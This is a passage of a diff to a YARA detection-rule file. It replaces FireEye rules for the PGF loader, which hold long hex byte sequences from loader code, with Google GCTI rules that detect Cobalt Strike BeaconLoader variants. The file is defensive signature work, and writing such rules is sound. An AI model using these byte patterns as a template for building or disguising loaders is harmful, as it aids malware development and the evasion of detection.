D0 FE FF FF 99 BE 14 00 00 00 F7 FE 8B 45 E8 0F B6 14 10 33 CA 8B 45 EC 03 85 D0 FE FF FF 88 08 EB B6 8B 4D EC 89 4D F0 FF 55 F0 5E 8B 4D E0 33 CD E8 6D 06 00 00 8B E5 5D C3 }
-		$cond2 = { 8B FF 55 8B EC 81 EC 30 01 00 00 A1 00 30 00 10 33 C5 89 45 E0 56 C7 45 F8 00 00 00 00 C6 85 D8 FE FF FF 00 68 03 01 00 00 6A 00 8D 85 D9 FE FF FF 50 E8 F9 07 00 00 83 C4 0C C7 45 F4 00 00 00 00 C6 45 E7 00 C7 45 E8 00 00 00 00 C7 45 EC 00 00 00 00 C7 45 FC 00 00 00 00 C7 45 F0 00 00 00 00 6A 01 6A 00 8D 8D D8 FE FF FF 51 6A 00 68 9C 10 00 10 8B 15 20 33 00 10 52 E8 31 01 00 00 89 45 F8 6A 14 FF 15 58 10 00 10 83 C4 04 89 45 E8 8B 45 F8 8A 48 04 88 4D E7 8B 55 F8 83 C2 0C 8B 45 E8 8B 0A 89 08 8B 4A 04 89 48 04 8B 4A 08 89 48 08 8B 4A 0C 89 48 0C 8B 52 10 89 50 10 C7 85 D4 FE FF FF 00 00 00 00 EB 0F 8B 85 D4 FE FF FF 83 C0 01 89 85 D4 FE FF FF 83 BD D4 FE FF FF 14 7D 1F 8B 4D E8 03 8D D4 FE FF FF 0F B6 11 0F B6 45 E7 33 D0 8B 4D E8 03 8D D4 FE FF FF 88 11 EB C9 8B 55 F8 8B 42 08 89 45 FC 6A 40 68 00 30 00 00 8B 4D FC 51 6A 00 FF 15 2C 10 00 10 89 45 EC 8B 55 FC 52 8B 45 F8 83 C0 20 50 8B 4D EC 51 E8 F0 06 00 00 83 C4 0C C7 85 D0 FE FF FF 00 00 00 00 EB 0F 8B 95 D0 FE FF FF 83 C2 01 89 95 D0 FE FF FF 8B 85 D0 FE FF FF 3B 45 FC 73 30 8B 4D EC 03 8D D0 FE FF FF 0F B6 09 8B 85 D0 FE FF FF 99 BE 14 00 00 00 F7 FE 8B 45 E8 0F B6 14 10 33 CA 8B 45 EC 03 85 D0 FE FF FF 88 08 EB B6 8B 4D EC 89 4D F0 FF 55 F0 5E 8B 4D E0 33 CD E8 6D 06 00 00 8B E5 5D C3 }
-		$cond3 = { 8B FF 55 8B EC 81 EC 30 01 00 00 A1 ?? ?? ?? ?? 33 C5 89 45 ?? 56 C7 45 ?? 00 00 00 00 C6 85 ?? ?? ?? ?? 00 68 03 01 00 00 6A 00 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 0C C7 45 ?? 00 00 00 00 C6 45 ?? 00 C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 6A 01 6A 00 8D 8D ?? ?? ?? ?? 51 6A 00 68 9C 10 00 10 8B 15 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 89 45 ?? 6A 14 FF 15 ?? ?? ?? ?? 83 C4 04 89 45 ?? 8B 45 ?? 8A 48 ?? 88 4D ?? 8B 55 ?? 83 C2 0C 8B 45 ?? 8B 0A 89 08 8B 4A ?? 89 48 ?? 8B 4A ?? 89 48 ?? 8B 4A ?? 89 48 ?? 8B 52 ?? 89 50 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 EB ?? 8B 85 ?? ?? ?? ?? 83 C0 01 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? 14 7D ?? 8B 4D ?? 03 8D ?? ?? ?? ?? 0F B6 11 0F B6 45 ?? 33 D0 8B 4D ?? 03 8D ?? ?? ?? ?? 88 11 EB ?? 8B 55 ?? 8B 42 ?? 89 45 ?? 6A 40 68 00 30 00 00 8B 4D ?? 51 6A 00 FF 15 ?? ?? ?? ?? 89 45 ?? 8B 55 ?? 52 8B 45 ?? 83 C0 20 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 0C C7 85 ?? ?? ?? ?? 00 00 00 00 EB ?? 8B 95 ?? ?? ?? ?? 83 C2 01 89 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 3B 45 ?? 73 ?? 8B 4D ?? 03 8D ?? ?? ?? ?? 0F B6 09 8B 85 ?? ?? ?? ?? 99 BE 14 00 00 00 F7 FE 8B 45 ?? 0F B6 14 10 33 CA 8B 45 ?? 03 85 ?? ?? ?? ?? 88 08 EB ?? 8B 4D ?? 89 4D ?? FF 55 ?? 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 }
-		$cond4 = { 8B FF 55 8B EC 81 EC 3? ?1 ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 E0 56 C7 45 F8 ?? ?? ?? ?? C6 85 D8 FE FF FF ?? 68 ?? ?? ?? ?? 6A ?? 8D 85 D9 FE FF FF 50 E8 ?? ?? ?? ?? 83 C4 0C C7 45 F4 ?? ?? ?? ?? C6 45 E7 ?? C7 45 E8 ?? ?? ?? ?? C7 45 EC ?? ?? ?? ?? C7 45 FC ?? ?? ?? ?? C7 45 F? ?? ?? ?? ?0 6A ?? 6A ?? 8D 8D D8 FE FF FF 51 6A ?? 68 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 89 45 F8 6A ?? FF ?? ?? ?? ?? ?? 83 C4 04 89 45 E8 8B 45 F8 8A 48 04 88 4D E7 8B 55 F8 83 ?? ?? 8B 45 E8 8B 0A 89 08 8B 4A 04 89 48 04 8B 4A 08 89 48 08 8B 4A 0C 89 48 0C 8B 52 10 89 50 10 C7 85 D4 FE FF FF ?? ?? ?? ?? EB ?? 8B 85 D4 FE FF FF 83 C? ?1 89 85 D4 FE FF FF 83 BD D4 FE FF FF 14 7D ?? 8B 4D E8 03 8D D4 FE FF FF 0F B6 11 0F B6 45 E7 33 D0 8B 4D E8 03 8D D4 FE FF FF 88 11 EB ?? 8B 55 F8 8B 42 08 89 45 FC 6A ?? 68 ?? ?? ?? ?? 8B 4D FC 51 6A ?? FF ?? ?? ?? ?? ?? 89 45 EC 8B 55 FC 52 8B 45 F8 83 ?? ?? 50 8B 4D EC 51 E8 ?? ?? ?? ?? 83 C4 0C C7 85 D0 FE FF FF ?? ?? ?? ?? EB ?? 8B 95 D0 FE FF FF 83 C2 01 89 95 D0 FE FF FF 8B 85 D0 FE FF FF 3B 45 FC 73 ?? 8B 4D EC 03 8D D0 FE FF FF 0F B6 09 8B 85 D0 FE FF FF 99 BE ?? ?? ?? ?? F7 FE 8B 45 E8 0F B6 14 10 33 CA 8B 45 EC 03 85 D0 FE FF FF 88 08 EB ?? 8B 4D EC 89 4D F0 FF ?? ?? 5E 8B 4D E0 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 }
+		$core_sig = {
+      C6 45 B0 56
+      C6 45 B1 69
+      C6 45 B2 72
+      C6 45 B3 74
+      C6 45 B4 75
+      C6 45 B5 61
+      C6 45 B6 6C
+      C6 45 B7 41
+      C6 45 B8 6C
+      C6 45 B9 6C
+      C6 45 BA 6F
+      C6 45 BB 63
+      C6 45 BC 00
+    }
+		$deobfuscator = {
+      8B 4D FC
+      83 C1 01
+      89 4D FC
+      8B 55 FC
+      3B 55 0C
+      73 19
+      0F B6 45 10
+      8B 4D 08
+      03 4D FC
+      0F BE 11
+      33 D0
+      8B 45 08
+      03 45 FC
+      88 10
+      EB D6
+    }
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x010B) and any of them
+		$core_sig and not $deobfuscator
 }
-rule FIREEYE_RT_APT_Loader_Win_PGF_1 : FILE
+rule GCTI_Cobaltstrike_Sleeve_Beaconloader_HA_X64_O_V4_3_V4_4_V4_5_And_V4_6
 {
 	meta:
-		description = "PDB string used in some PGF DLL samples"
-		author = "FireEye"
-		id = "14e2102c-3572-5314-999c-ff3f6c94de03"
-		date = "2024-03-04"
-		modified = "2024-03-04"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_Win_PGF_1.yar#L4-L17"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "013c7708f1343d684e3571453261b586"
-		logic_hash = "9dede268d33a38e980026917bd01bc47a72bfe60ba4a999c91eb727a2f377462"
+		description = "Cobalt Strike's sleeve/BeaconLoader.HA.x64.o (HeapAlloc) Versions 4.3 through at least 4.6"
+		author = "gssincla@google.com"
+		id = "9b16ff13-2d8e-51dc-9f99-6c45eff76feb"
+		date = "2022-11-18"
+		modified = "2022-11-19"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Sleeve_BeaconLoader_all.yara#L281-L323"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "d64f10d5a486f0f2215774e8ab56087f32bef19ac666e96c5627c70d345a354d"
+		logic_hash = "b712a0c218e473f6c64fdead22b291d7fb0bac8ba614adcf1ba6431e854a5e65"
 		score = 75
-		quality = 73
-		tags = "FILE"
-		rev = 6
+		quality = 85
+		tags = ""
 
 	strings:
-		$pdb1 = /RSDS[\x00-\xFF]{20}c:\\source\\dllconfig-master\\dllsource[\x00-\xFF]{0,500}\.pdb\x00/ nocase
-		$pdb2 = /RSDS[\x00-\xFF]{20}C:\\Users\\Developer\\Source[\x00-\xFF]{0,500}\\Release\\DllSource\.pdb\x00/ nocase
-		$pdb3 = /RSDS[\x00-\xFF]{20}q:\\objchk_win7_amd64\\amd64\\init\.pdb\x00/ nocase
+		$core_sig = {
+      C6 44 24 38 48
+      C6 44 24 39 65
+      C6 44 24 3A 61
+      C6 44 24 3B 70
+      C6 44 24 3C 41
+      C6 44 24 3D 6C
+      C6 44 24 3E 6C
+      C6 44 24 3F 6F
+      C6 44 24 40 63
+      C6 44 24 41 00
+    }
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and filesize <15MB and any of them
+		all of them
 }
-rule FIREEYE_RT_APT_Loader_Win64_PGF_3 : FILE
+rule GCTI_Cobaltstrike_Sleeve_Beaconloader_MVF_X64_O_V4_3_V4_4_V4_5_And_V4_6
 {
 	meta:
-		description = "PGF payload, generated rule based on symfunc/8a2f2236fdfaa3583ab89076025c6269. Identifies dllmain_hook x64 payloads."
-		author = "FireEye"
-		id = "340ea6d4-7111-520c-9bd4-0465a43ea235"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_Win64_PGF_3.yar#L4-L18"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "3bb34ebd93b8ab5799f4843e8cc829fa"
-		logic_hash = "fd82bdec54a76eed12cc8820ef39899f31ea6df21d905530a0d53770b3d9901b"
+		description = "Cobalt Strike's sleeve/BeaconLoader.MVF.x64.o (MapViewOfFile) Versions 4.3 through at least 4.6"
+		author = "gssincla@google.com"
+		id = "38e063db-3d76-5a94-812a-945fcf46a232"
+		date = "2022-11-18"
+		modified = "2022-11-19"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Sleeve_BeaconLoader_all.yara#L326-L374"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "9d5b6ccd0d468da389657309b2dc325851720390f9a5f3d3187aff7d2cd36594"
+		logic_hash = "6224000342d87041fd3336656897479c644e94ea36fc061c27fcd64233047c2c"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		rev = 4
+		quality = 85
+		tags = ""
 
 	strings:
-		$cond1 = { 55 53 48 89 E5 48 81 EC 28 07 00 00 48 8B 05 80 8B 06 00 FF D0 48 89 C1 48 8D 85 98 FD FF FF 41 B8 04 01 00 00 48 89 C2 E8 5A B4 00 00 85 C0 0F 94 C0 84 C0 0F 85 16 03 00 00 48 8D 45 AF 48 89 C1 E8 E9 FE 00 00 48 8D 4D AF 48 8D 95 98 FD FF FF 48 8D 85 78 FD FF FF 49 89 C8 48 89 C1 E8 AC 96 01 00 48 8D 45 AF 48 89 C1 E8 F0 FE 00 00 48 8B 05 25 8B 06 00 FF D0 89 C2 B9 08 00 00 00 E8 6B B4 00 00 48 89 45 D0 48 83 7D D0 00 75 0A BB 00 00 00 00 E9 6C 02 00 00 48 C7 45 F0 00 00 00 00 C7 45 EC 00 00 00 00 C7 85 38 F9 FF FF 38 04 00 00 48 8D 95 38 F9 FF FF 48 8B 45 D0 48 89 C1 E8 AA B3 00 00 89 45 E8 83 7D E8 00 74 57 48 8D 85 38 F9 FF FF 48 8D 50 30 48 8D 85 78 FD FF FF 41 B8 00 00 00 00 48 89 C1 E8 61 F3 00 00 48 83 F8 FF 0F 95 C0 84 C0 74 14 48 8B 85 50 F9 FF FF 48 89 45 F0 8B 85 58 F9 FF FF 89 45 EC 48 8D 95 38 F9 FF FF 48 8B 45 D0 48 89 C1 E8 4F B3 00 00 89 45 E8 EB A3 48 8B 45 D0 48 89 C1 48 8B 05 20 8A 06 00 FF D0 48 83 7D F0 00 74 06 83 7D EC 00 75 0A BB 00 00 00 00 E9 B9 01 00 00 48 8D 0D 0E C8 05 00 48 8B 05 69 8A 06 00 FF D0 48 8D 15 0A C8 05 00 48 89 C1 48 8B 05 5E 8A 06 00 FF D0 48 89 45 C8 48 89 E8 48 89 45 E0 48 8D 95 28 F9 FF FF 48 8D 85 30 F9 FF FF 48 89 C1 48 8B 05 19 8A 06 00 FF D0 C7 45 DC 00 00 00 00 48 8B 55 E0 48 8B 85 28 F9 FF FF 48 39 C2 0F 83 0D 01 00 00 48 8B 45 E0 48 8B 00 48 3D FF 0F 00 00 0F 86 EC 00 00 00 48 8B 45 E0 48 8B 00 48 39 45 C8 73 1E 48 8B 45 E0 48 8B 00 48 8B 55 C8 48 81 C2 00 10 00 00 48 39 D0 73 07 C7 45 DC 01 00 00 00 83 7D DC 00 0F 84 BB 00 00 00 48 8B 45 E0 48 8B 00 48 39 45 F0 0F 83 AA 00 00 00 48 8B 45 E0 48 8B 00 8B 4D EC 48 8B 55 F0 48 01 CA 48 39 D0 0F 83 90 00 00 00 48 C7 85 F8 F8 FF FF 00 00 00 00 48 C7 85 00 F9 FF FF 00 00 00 00 48 C7 85 08 F9 FF FF 00 00 00 00 48 C7 85 10 F9 FF FF 00 00 00 00 48 C7 85 18 F9 FF FF 00 00 00 00 48 C7 85 20 F9 FF FF 00 00 00 00 48 8B 45 E0 48 8B 00 48 8D 95 F8 F8 FF FF 41 B8 30 00 00 00 48 89 C1 48 8B 05 01 8A 06 00 FF D0 8B 85 1C F9 FF FF 83 E0 20 85 C0 74 20 48 8B 45 E0 48 8B 00 48 8D 15 E0 F9 FF FF 48 89 C1 E8 D5 FC FF FF BB 00 00 00 00 EB 57 90 EB 01 90 48 83 45 E0 08 E9 DF FE FF FF 48 8B 45 F0 48 89 45 C0 48 8B 45 C0 8B 40 3C 48 63 D0 48 8B 45 F0 48 01 D0 48 89 45 B8 48 8B 45 B8 8B 40 28 89 C2 48 8B 45 F0 48 01 D0 48 89 45 B0 48 8B 45 B0 48 8D 15 87 F9 FF FF 48 89 C1 E8 7C FC FF FF BB 01 00 00 00 48 8D 85 78 FD FF FF 48 89 C1 E8 CB 9C 01 00 83 FB 01 EB 38 48 89 C3 48 8D 45 AF 48 89 C1 E8 37 FC 00 00 48 89 D8 48 89 C1 E8 4C AA 00 00 48 89 C3 48 8D 85 78 FD FF FF 48 89 C1 E8 9A 9C 01 00 48 89 D8 48 89 C1 E8 2F AA 00 00 90 48 81 C4 28 07 00 00 5B 5D C3 }
-		$cond2 = { 55 53 48 89 E5 48 81 EC 28 07 00 00 48 8B 05 ?? ?? ?? ?? FF D0 48 89 C1 48 8D 85 ?? ?? ?? ?? 41 B8 04 01 00 00 48 89 C2 E8 ?? ?? ?? ?? 85 C0 0F 94 C0 84 C0 0F 85 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 4D ?? 48 8D 95 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 49 89 C8 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? FF D0 89 C2 B9 08 00 00 00 E8 ?? ?? ?? ?? 48 89 45 ?? 48 83 7D ?? 00 75 ?? BB 00 00 00 00 E9 ?? ?? ?? ?? 48 C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 C7 85 ?? ?? ?? ?? 38 04 00 00 48 8D 95 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? 00 74 ?? 48 8D 85 ?? ?? ?? ?? 48 8D 50 ?? 48 8D 85 ?? ?? ?? ?? 41 B8 00 00 00 00 48 89 C1 E8 ?? ?? ?? ?? 48 83 F8 FF 0F 95 C0 84 C0 74 ?? 48 8B 85 ?? ?? ?? ?? 48 89 45 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 48 8D 95 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 89 45 ?? EB ?? 48 8B 45 ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 48 83 7D ?? 00 74 ?? 83 7D ?? 00 75 ?? BB 00 00 00 00 E9 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? FF D0 48 8D 15 ?? ?? ?? ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 48 89 45 ?? 48 89 E8 48 89 45 ?? 48 8D 95 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 C7 45 ?? 00 00 00 00 48 8B 55 ?? 48 8B 85 ?? ?? ?? ?? 48 39 C2 0F 83 ?? ?? ?? ?? 48 8B 45 ?? 48 8B 00 48 3D FF 0F 00 00 0F 86 ?? ?? ?? ?? 48 8B 45 ?? 48 8B 00 48 39 45 ?? 73 ?? 48 8B 45 ?? 48 8B 00 48 8B 55 ?? 48 81 C2 00 10 00 00 48 39 D0 73 ?? C7 45 ?? 01 00 00 00 83 7D ?? 00 0F 84 ?? ?? ?? ?? 48 8B 45 ?? 48 8B 00 48 39 45 ?? 0F 83 ?? ?? ?? ?? 48 8B 45 ?? 48 8B 00 8B 4D ?? 48 8B 55 ?? 48 01 CA 48 39 D0 0F 83 ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? 00 00 00 00 48 C7 85 ?? ?? ?? ?? 00 00 00 00 48 C7 85 ?? ?? ?? ?? 00 00 00 00 48 C7 85 ?? ?? ?? ?? 00 00 00 00 48 C7 85 ?? ?? ?? ?? 00 00 00 00 48 C7 85 ?? ?? ?? ?? 00 00 00 00 48 8B 45 ?? 48 8B 00 48 8D 95 ?? ?? ?? ?? 41 B8 30 00 00 00 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 8B 85 ?? ?? ?? ?? 83 E0 20 85 C0 74 ?? 48 8B 45 ?? 48 8B 00 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? BB 00 00 00 00 EB ?? 90 EB ?? 90 48 83 45 ?? 08 E9 ?? ?? ?? ?? 48 8B 45 ?? 48 89 45 ?? 48 8B 45 ?? 8B 40 ?? 48 63 D0 48 8B 45 ?? 48 01 D0 48 89 45 ?? 48 8B 45 ?? 8B 40 ?? 89 C2 48 8B 45 ?? 48 01 D0 48 89 45 ?? 48 8B 45 ?? 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? BB 01 00 00 00 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 83 FB 01 EB ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 D8 48 89 C1 E8 ?? ?? ?? ?? 48 89 C3 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 D8 48 89 C1 E8 ?? ?? ?? ?? 90 48 81 C4 28 07 00 00 5B 5D C3 }
-		$cond3 = { 55 53 48 89 E5 48 81 EC 28 07 00 00 48 8B 05 C1 7C 06 00 FF D0 48 89 C1 48 8D 85 98 FD FF FF 41 B8 04 01 00 00 48 89 C2 E8 33 B4 00 00 85 C0 0F 94 C0 84 C0 0F 85 16 03 00 00 48 8D 45 AF 48 89 C1 E8 B2 FE 00 00 48 8D 4D AF 48 8D 95 98 FD FF FF 48 8D 85 78 FD FF FF 49 89 C8 48 89 C1 E8 75 96 01 00 48 8D 45 AF 48 89 C1 E8 B9 FE 00 00 48 8B 05 66 7C 06 00 FF D0 89 C2 B9 08 00 00 00 E8 3C B4 00 00 48 89 45 D0 48 83 7D D0 00 75 0A BB 00 00 00 00 E9 6C 02 00 00 48 C7 45 F0 00 00 00 00 C7 45 EC 00 00 00 00 C7 85 38 F9 FF FF 38 04 00 00 48 8D 95 38 F9 FF FF 48 8B 45 D0 48 89 C1 E8 83 B3 00 00 89 45 E8 83 7D E8 00 74 57 48 8D 85 38 F9 FF FF 48 8D 50 30 48 8D 85 78 FD FF FF 41 B8 00 00 00 00 48 89 C1 E8 2A F3 00 00 48 83 F8 FF 0F 95 C0 84 C0 74 14 48 8B 85 50 F9 FF FF 48 89 45 F0 8B 85 58 F9 FF FF 89 45 EC 48 8D 95 38 F9 FF FF 48 8B 45 D0 48 89 C1 E8 28 B3 00 00 89 45 E8 EB A3 48 8B 45 D0 48 89 C1 48 8B 05 69 7B 06 00 FF D0 48 83 7D F0 00 74 06 83 7D EC 00 75 0A BB 00 00 00 00 E9 B9 01 00 00 48 8D 0D 11 B9 05 00 48 8B 05 A2 7B 06 00 FF D0 48 8D 15 0D B9 05 00 48 89 C1 48 8B 05 97 7B 06 00 FF D0 48 89 45 C8 48 89 E8 48 89 45 E0 48 8D 95 28 F9 FF FF 48 8D 85 30 F9 FF FF 48 89 C1 48 8B 05 5A 7B 06 00 FF D0 C7 45 DC 00 00 00 00 48 8B 55 E0 48 8B 85 28 F9 FF FF 48 39 C2 0F 83 0D 01 00 00 48 8B 45 E0 48 8B 00 48 3D FF 0F 00 00 0F 86 EC 00 00 00 48 8B 45 E0 48 8B 00 48 39 45 C8 73 1E 48 8B 45 E0 48 8B 00 48 8B 55 C8 48 81 C2 00 10 00 00 48 39 D0 73 07 C7 45 DC 01 00 00 00 83 7D DC 00 0F 84 BB 00 00 00 48 8B 45 E0 48 8B 00 48 39 45 F0 0F 83 AA 00 00 00 48 8B 45 E0 48 8B 00 8B 4D EC 48 8B 55 F0 48 01 CA 48 39 D0 0F 83 90 00 00 00 48 C7 85 F8 F8 FF FF 00 00 00 00 48 C7 85 00 F9 FF FF 00 00 00 00 48 C7 85 08 F9 FF FF 00 00 00 00 48 C7 85 10 F9 FF FF 00 00 00 00 48 C7 85 18 F9 FF FF 00 00 00 00 48 C7 85 20 F9 FF FF 00 00 00 00 48 8B 45 E0 48 8B 00 48 8D 95 F8 F8 FF FF 41 B8 30 00 00 00 48 89 C1 48 8B 05 22 7B 06 00 FF D0 8B 85 1C F9 FF FF 83 E0 20 85 C0 74 20 48 8B 45 E0 48 8B 00 48 8D 15 59 FB FF FF 48 89 C1 E8 D5 FC FF FF BB 00 00 00 00 EB 57 90 EB 01 90 48 83 45 E0 08 E9 DF FE FF FF 48 8B 45 F0 48 89 45 C0 48 8B 45 C0 8B 40 3C 48 63 D0 48 8B 45 F0 48 01 D0 48 89 45 B8 48 8B 45 B8 8B 40 28 89 C2 48 8B 45 F0 48 01 D0 48 89 45 B0 48 8B 45 B0 48 8D 15 00 FB FF FF 48 89 C1 E8 7C FC FF FF BB 01 00 00 00 48 8D 85 78 FD FF FF 48 89 C1 E8 94 9C 01 00 83 FB 01 EB 38 48 89 C3 48 8D 45 AF 48 89 C1 E8 00 FC 00 00 48 89 D8 48 89 C1 E8 45 AA 00 00 48 89 C3 48 8D 85 78 FD FF FF 48 89 C1 E8 63 9C 01 00 48 89 D8 48 89 C1 E8 28 AA 00 00 90 48 81 C4 28 07 00 00 5B 5D C3 }
-		$cond4 = { 55 53 48 89 E5 48 81 EC 28 07 00 00 48 8B 05 D3 8B 06 00 FF D0 48 89 C1 48 8D 85 98 FD FF FF 41 B8 04 01 00 00 48 89 C2 E8 65 B4 00 00 85 C0 0F 94 C0 84 C0 0F 85 16 03 00 00 48 8D 45 AF 48 89 C1 E8 EC FE 00 00 48 8D 4D AF 48 8D 95 98 FD FF FF 48 8D 85 78 FD FF FF 49 89 C8 48 89 C1 E8 AF 96 01 00 48 8D 45 AF 48 89 C1 E8 F3 FE 00 00 48 8B 05 78 8B 06 00 FF D0 89 C2 B9 08 00 00 00 E8 6E B4 00 00 48 89 45 D0 48 83 7D D0 00 75 0A BB 00 00 00 00 E9 6C 02 00 00 48 C7 45 F0 00 00 00 00 C7 45 EC 00 00 00 00 C7 85 38 F9 FF FF 38 04 00 00 48 8D 95 38 F9 FF FF 48 8B 45 D0 48 89 C1 E8 B5 B3 00 00 89 45 E8 83 7D E8 00 74 57 48 8D 85 38 F9 FF FF 48 8D 50 30 48 8D 85 78 FD FF FF 41 B8 00 00 00 00 48 89 C1 E8 64 F3 00 00 48 83 F8 FF 0F 95 C0 84 C0 74 14 48 8B 85 50 F9 FF FF 48 89 45 F0 8B 85 58 F9 FF FF 89 45 EC 48 8D 95 38 F9 FF FF 48 8B 45 D0 48 89 C1 E8 5A B3 00 00 89 45 E8 EB A3 48 8B 45 D0 48 89 C1 48 8B 05 73 8A 06 00 FF D0 48 83 7D F0 00 74 06 83 7D EC 00 75 0A BB 00 00 00 00 E9 B9 01 00 00 48 8D 0D 45 C8 05 00 48 8B 05 B4 8A 06 00 FF D0 48 8D 15 41 C8 05 00 48 89 C1 48 8B 05 A9 8A 06 00 FF D0 48 89 45 C8 48 89 E8 48 89 45 E0 48 8D 95 28 F9 FF FF 48 8D 85 30 F9 FF FF 48 89 C1 48 8B 05 6C 8A 06 00 FF D0 C7 45 DC 00 00 00 00 48 8B 55 E0 48 8B 85 28 F9 FF FF 48 39 C2 0F 83 0D 01 00 00 48 8B 45 E0 48 8B 00 48 3D FF 0F 00 00 0F 86 EC 00 00 00 48 8B 45 E0 48 8B 00 48 39 45 C8 73 1E 48 8B 45 E0 48 8B 00 48 8B 55 C8 48 81 C2 00 10 00 00 48 39 D0 73 07 C7 45 DC 01 00 00 00 83 7D DC 00 0F 84 BB 00 00 00 48 8B 45 E0 48 8B 00 48 39 45 F0 0F 83 AA 00 00 00 48 8B 45 E0 48 8B 00 8B 4D EC 48 8B 55 F0 48 01 CA 48 39 D0 0F 83 90 00 00 00 48 C7 85 F8 F8 FF FF 00 00 00 00 48 C7 85 00 F9 FF FF 00 00 00 00 48 C7 85 08 F9 FF FF 00 00 00 00 48 C7 85 10 F9 FF FF 00 00 00 00 48 C7 85 18 F9 FF FF 00 00 00 00 48 C7 85 20 F9 FF FF 00 00 00 00 48 8B 45 E0 48 8B 00 48 8D 95 F8 F8 FF FF 41 B8 30 00 00 00 48 89 C1 48 8B 05 54 8A 06 00 FF D0 8B 85 1C F9 FF FF 83 E0 20 85 C0 74 20 48 8B 45 E0 48 8B 00 48 8D 15 33 FA FF FF 48 89 C1 E8 D5 FC FF FF BB 00 00 00 00 EB 57 90 EB 01 90 48 83 45 E0 08 E9 DF FE FF FF 48 8B 45 F0 48 89 45 C0 48 8B 45 C0 8B 40 3C 48 63 D0 48 8B 45 F0 48 01 D0 48 89 45 B8 48 8B 45 B8 8B 40 28 89 C2 48 8B 45 F0 48 01 D0 48 89 45 B0 48 8B 45 B0 48 8D 15 DA F9 FF FF 48 89 C1 E8 7C FC FF FF BB 01 00 00 00 48 8D 85 78 FD FF FF 48 89 C1 E8 CE 9C 01 00 83 FB 01 EB 38 48 89 C3 48 8D 45 AF 48 89 C1 E8 3A FC 00 00 48 89 D8 48 89 C1 E8 4F AA 00 00 48 89 C3 48 8D 85 78 FD FF FF 48 89 C1 E8 9D 9C 01 00 48 89 D8 48 89 C1 E8 32 AA 00 00 90 48 81 C4 28 07 00 00 5B 5D C3 }
+		$core_sig = {
+      C6 44 24 58 4D
+      C6 44 24 59 61
+      C6 44 24 5A 70
+      C6 44 24 5B 56
+      C6 44 24 5C 69
+      C6 44 24 5D 65
+      C6 44 24 5E 77
+      C6 44 24 5F 4F
+      C6 44 24 60 66
+      C6 44 24 61 46
+      C6 44 24 62 69
+      C6 44 24 63 6C
+      C6 44 24 64 65
+    }
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x020B) and any of them
+		all of them
 }
